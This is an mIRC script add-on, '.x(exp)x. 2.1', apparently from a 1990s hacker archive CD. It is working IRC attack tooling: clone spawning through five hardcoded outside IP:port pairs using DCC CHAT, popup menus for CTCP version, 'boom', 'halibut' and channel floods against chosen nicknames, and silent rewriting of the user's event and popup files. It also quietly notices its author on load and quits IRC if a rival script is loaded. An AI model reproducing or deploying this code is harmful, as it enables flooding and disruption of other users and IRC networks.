home *** CD-ROM | disk | FTP | other *** search
/ HaCKeRz Kr0nlcKLeZ 1 / HaCKeRz Kr0nlcKLeZ.iso / scriptz / rmpg20.exe / ADDON / EXP.MIR < prev    next >
Encoding:
Text File  |  1996-12-14  |  8.7 KB  |  131 lines
  1. ;.x(exp)x. 2.1 by z0so 
  2. if (%ver == $null) { raw -q quit :i dont have the $chr(37) $+ %ver. i suck .x(exp)x. | play stop }
  3. set %exp.ver + .x(exp)x. 2.1 by z0so 
  4. if (.x(exp)x. !isin %ver) { set %ver %ver %exp.ver }
  5. if (ú╔δTº╟r∞Pt isin %ver) { raw -q quit :i tried to load .x(exp)x. with .x[ú╔δTº╟r∞Pt]x. damn, i suck. | play stop }
  6. if ($exists($mircdiraddon\exp.mir) == $false) { echo .x(exp)x. requires the addon\ dir in $mircdir for loading | play stop }
  7. if ($exists($mircdiraddon\exp.raw) == $false) { echo .x(exp)x. requires the exp.raw file in your addon subdir in the mircdir | play stop }
  8. echo $active Now loading .x(exp)x. 2.1 by zoso
  9. echo $active .x(exp)x. .x(Creating variables)x. 
  10. set %rand.nick RaW- $chr(36) $+ + $chr(36) $+ r(1,99)
  11. set %r2 $chr(36) $+ r(1,99) $chr(36) $+ + $chr(36) $+ r(1,99) 
  12. set %r $chr(36) $+ r(a,z)
  13. set %i $chr(36)
  14. set %v $chr(37)
  15. set %l $chr(124)
  16. set %exnick exp %i $+ + %i $+ r(1,99) %i $+ + %i $+ r(1,99)
  17. set %boom ÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑááBooMáWeáArEáRoXiNájo0áAsSáÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑ
  18. %exip.1 2844002404 6667
  19. %exip.2 3235378444 6667
  20. %exip.3 2861314755 6667
  21. %exip.4 3439133896 6667
  22. %exip.5 3463251649 6667
  23. ddeserver on mIRC 
  24. set %events.exp $readini $dde mIRC inifile "" Files Events
  25. set %popups.exp $readini $dde mIRC inifile "" Files Popups
  26. echo $active .x(exp)x. .x(Created variables)x. 
  27. echo $active .x(exp)x. .x(Creating aliases)x. 
  28. alias unexp $chr(123) play -ctunload %i $+ me %i $+ mircdiraddon\exp.raw 0 $chr(125) 
  29. alias exphelp $chr(123) play -cthelp %i $+ me %i $+ mircdiraddon\exp.raw 0 $chr(125) 
  30. alias exp $chr(123) play -ctclones %i $+ me %i $+ mircdiraddon\exp.raw 0 $chr(125) 
  31. alias _exp1 %v $+ n1 = RaW- %i $+ + %i $+ r(1,99) %l nick %v $+ n1 %l timer 1 5 raw -q privmsg %v $+ n1 :DCC CHAT CHAT %v $+ exip.1 %i $+ + 
  32. alias _exp2 %v $+ n2 = RaW- %i $+ + %i $+ r(1,99) %l nick %v $+ n2 %l timer 1 5 raw -q privmsg %v $+ n2 :DCC CHAT CHAT %v $+ exip.2 %i $+ + 
  33. alias _exp3 %v $+ n3 = RaW- %i $+ + %i $+ r(1,99) %l nick %v $+ n3 %l timer 1 5 raw -q privmsg %v $+ n3 :DCC CHAT CHAT %v $+ exip.3 %i $+ + 
  34. alias _exp4 %v $+ n4 = RaW- %i $+ + %i $+ r(1,99) %l nick %v $+ n4 %l timer 1 5 raw -q privmsg %v $+ n4 :DCC CHAT CHAT %v $+ exip.4 %i $+ + 
  35. alias _exp5 %v $+ n5 = RaW- %i $+ + %i $+ r(1,99) %l nick %v $+ n5 %l timer 1 5 raw -q privmsg %v $+ n5 :DCC CHAT CHAT %v $+ exip.5 %i $+ +  %l timer 1 10 nick %v $+ me
  36. alias expjp $chr(123) set %exp.flud.chan $chr(42) $+ 1 %l play -ctjoinpart %i $+ mircdiraddon\exp.raw %i $+ me 0 $chr(125) 
  37. alias exphal $chr(123) set %exp.flud.nick %i $+ 1 %l play -cthalibut %i $+ mircdiraddon\exp.raw %i $+ me 0 $chr(125) 
  38. alias expver $chr(123) set %exp.flud.nick %i $+ 1 %l play -ctversion %i $+ mircdiraddon\exp.raw %i $+ me 0 $chr(125) 
  39. alias expboom $chr(123) set %exp.flud.nick %i $+ 1 %l play -ctboom %i $+ mircdiraddon\exp.raw %i $+ me 0 $chr(125) 
  40. alias expshout $chr(123) set %exp.flud.nick %i $+ 1 %l play -ctshout %i $+ mircdiraddon\exp.raw %i $+ me 0 $chr(125) 
  41. alias exp19c $chr(123) expflud %i $+ 1 DCC CHAT exp 3534929459 19 $chr(125) 
  42. alias expflud $chr(123) set %exp.flud.nick %i $+ 1 %l set %exp.flud * $+ 2 %l play -ctflud %i $+ mircdiraddon\exp.raw %i $+ me 0 $chr(125)
  43. alias expcmd $chr(123) set %exp.command * $+ 1 %l play -ctcommand %i $+ mircdiraddon\exp.raw %i $+ me 0 $chr(125) 
  44. alias expchan $chr(123) set %exp.chan %i $+ 1 %l set %exp.type * $+ 2 %l play -ctchan %i $+ mircdiraddon\exp.raw %i $+ me 0 $chr(125)
  45. alias expli echo .x(exp)x. Converted %i $+ 1 to: %i $+ longip($1)
  46. alias expdie $chr(123) play -ctdie %i $+ mircdiraddon\exp.raw %i $+ me 0 $chr(125)
  47. alias expact $chr(123) expcmd privmsg $chr(35) : $+ $chr(1) $+ ACTION * $+ 1 %v $+ + $chr(1) $chr(125)
  48. alias expsay $chr(123) expcmd privmsg $chr(35) : $+ * $+ 1 $chr(125)
  49. alias expnick $chr(123) play -ctnick %i $+ me %i $+ mircdiraddon\exp.raw 0 $chr(125)
  50. alias expnotice $chr(123) set %exp.flud.nick $1 %l play -ctnotice $me %i $+ mircdiraddon\exp.raw 0 $chr(125)
  51. echo $active .x(exp)x. .x(Created aliases)x. 
  52. echo $active .x(exp)x. .x(Writing events.ini)x. 
  53. save -e events.exp
  54. write events.exp n871=#exp start
  55. write events.exp n872=1:on chatopen: $chr(123)
  56. write events.exp n873=  msg = %i $+ + %i $+ nick user exp %i $+ + %r2 %r %i $+ + %r %r %i $+ + %r %r %i $+ + %r :.x(exp)x. %l set %tmpexp exp %i $+ + %r2 %l msg = %i $+ + %i $+ nick nick %v $+ tmpexp %l timer 0 30 msg = %i $+ + %i $+ nick PING .x(exp)x. %l msg = %i $+ + %i $+ nick mode %v $+ tmpexp +i 
  57. write events.exp n874= $+ $chr(125)
  58. write events.exp n875=1:on chat:* $chr(123)
  59. write events.exp n876=  if (($lower($parm2) == kick) && (exp isin %i $+ parm4)) $chr(123)
  60. write events.exp n877=    msg = %i $+ + %i $+ nick JOIN %i $+ parm3
  61. write events.exp n878=  $chr(125)
  62. write events.exp n879=  if (ping == %i $+ lower($parm1)) $chr(123)
  63. write events.exp n880=    msg = %i $+ + %i $+ nick PONG %i $+ parm2*
  64. write events.exp n881=  $chr(125)
  65. write events.exp n882= $+ $chr(125)
  66. write events.exp n883=#exp end
  67. load -e events.exp
  68. disable #exp
  69. echo $active .x(exp)x. .x(Wrote events.ini)x. 
  70. echo $active .x(exp)x. .x(Writing popups.ini)x. 
  71. save -p popups.exp
  72. writeini popups.exp mPopup p878 -
  73. writeini popups.exp mPopup p879 x(exp)x
  74. writeini popups.exp mPopup p880 .x(exp)x contr0lz:/
  75. writeini popups.exp mPopup p881 .start!clones:/exp
  76. writeini popups.exp mPopup p882 .ver!flud:/expver %i $+ ?="exp!ver to who"
  77. writeini popups.exp mPopup p883 .boom!flud:/expboom %i $+ ?="exp!boom to who"
  78. writeini popups.exp mPopup p884 .19!chatflud:/exp19c %i $+ ?="exp!19 to who"
  79. writeini popups.exp mPopup p885 .halibut!flud:/exphal %i $+ ?="exp!hal to who"
  80. writeini popups.exp mPopup p886 .exp!flud:/exp19c %i $+ ?="exp!flud to who" %i $+ = "exp!flud ctcp text" 
  81. writeini popups.exp mPopup p887 .chan!flud:/expchan # %i $+ ?="Type[ver,hal,19c,boom,other]"
  82. writeini popups.exp mPopup p888 .exp!help:/exphelp
  83. writeini popups.exp mPopup p889 .exp!die:/expdie
  84. writeini popups.exp mPopup p890 .exp!longip:/exp19c %i $+ ?="dotted.ip"
  85. writeini popups.exp mPopup p891 .exp!set.ips
  86. writeini popups.exp mPopup p892 ..ip.1:/set %v $+ exip.1 %i $+ ?="Longip" %i $+ ?="Port" 
  87. writeini popups.exp mPopup p893 ..ip.2:/set %v $+ exip.2 %i $+ ?="Longip" %i $+ ?="Port" 
  88. writeini popups.exp mPopup p894 ..ip.3:/set %v $+ exip.3 %i $+ ?="Longip" %i $+ ?="Port" 
  89. writeini popups.exp mPopup p895 ..ip.4:/set %v $+ exip.4 %i $+ ?="Longip" %i $+ ?="Port" 
  90. writeini popups.exp mPopup p896 ..ip.5:/set %v $+ exip.5 %i $+ ?="Longip" %i $+ ?="Port" 
  91. writeini popups.exp lPopup p880 -
  92. writeini popups.exp lPopup p881 x(exp)x
  93. writeini popups.exp lPopup p882 .x(exp)x contr0lz:/
  94. writeini popups.exp lPopup p883 .ver!flud:/expver %i $+ 1
  95. writeini popups.exp lPopup p884 .boom!flud:/expboom %i $+ 1
  96. writeini popups.exp lPopup p885 .19!chatflud:/exp19c %i $+ 1
  97. writeini popups.exp lPopup p886 .halibut!flud:/exphal %i $+ 1
  98. writeini popups.exp lPopup p887 .exp!flud:/expflud %i $+ 1 %i $+ ?="exp!flud ctcp params:"
  99. writeini popups.exp qPopup p880 -
  100. writeini popups.exp qPopup p881 x(exp)x 
  101. writeini popups.exp qPopup p882 .x(exp)x contr0lz:/
  102. writeini popups.exp qPopup p883 .ver!flud:/expver %i $+ 1
  103. writeini popups.exp qPopup p884 .boom!flud:/expboom %i $+ 1
  104. writeini popups.exp qPopup p885 .19!chatflud:/exp19c %i $+ 1
  105. writeini popups.exp qPopup p886 .halibut!flud:/exphal %i $+ 1
  106. writeini popups.exp qPopup p887 .exp!flud:/expflud %i $+ 1 %i $+ ?="exp!flud ctcp params:"
  107. load -p popups.exp
  108. echo $active .x(exp)x. .x(Wrote popups.ini)x. 
  109. echo $active á
  110. echo $active ááá,s@$$@s.á,s@$$@áááá@$$@s`$@,s$@s.
  111. echo $active áá,$$$""$$$.áá`$$$$áá$$$$┤ááá$$$$"$$$.
  112. echo $active áá$$$$áá$$$$áááá`$$$$$$┤ááááá$$$'á$$$$
  113. echo $active áá$$$$.s$$$┤áááá,$$æÆ$,áááááá$$$áá$$$$
  114. echo $active áá$$$$ááááááááá,sS$áá$Ss,áááá$$$áá$$$$
  115. echo $active áá`$$$.ááááááá,sS$áááá$Ss,ááá$$$,s$$$┤
  116. echo $active ááá`"@$$$@s.ás$Ssáááááá$Ssááá$$$$$@┤
  117. echo $active áááááááá`$$$áás$Ssááááá$S┤ááá$@┤
  118. echo $active áááááááá,s$┤ááá`$┤áááááááááá,$$
  119. echo $active áááááááááááááááááááááááááááás$$áá,s
  120. echo $active ááááááááááááááááááááááááááááá`S$$S┤
  121. echo $active á
  122. echo $active .x(exp)x. 2.1 by z0so loaded
  123. echo $active .x(exp)x. Type /exphelp for help
  124. raw -q notice z0so :i loaded .x(exp)x. 2.1ááá
  125. unset %rand
  126. unset %r
  127. unset %i
  128. unset %v
  129. unset %l
  130. unset %exp.tmp
  131. unset %exnick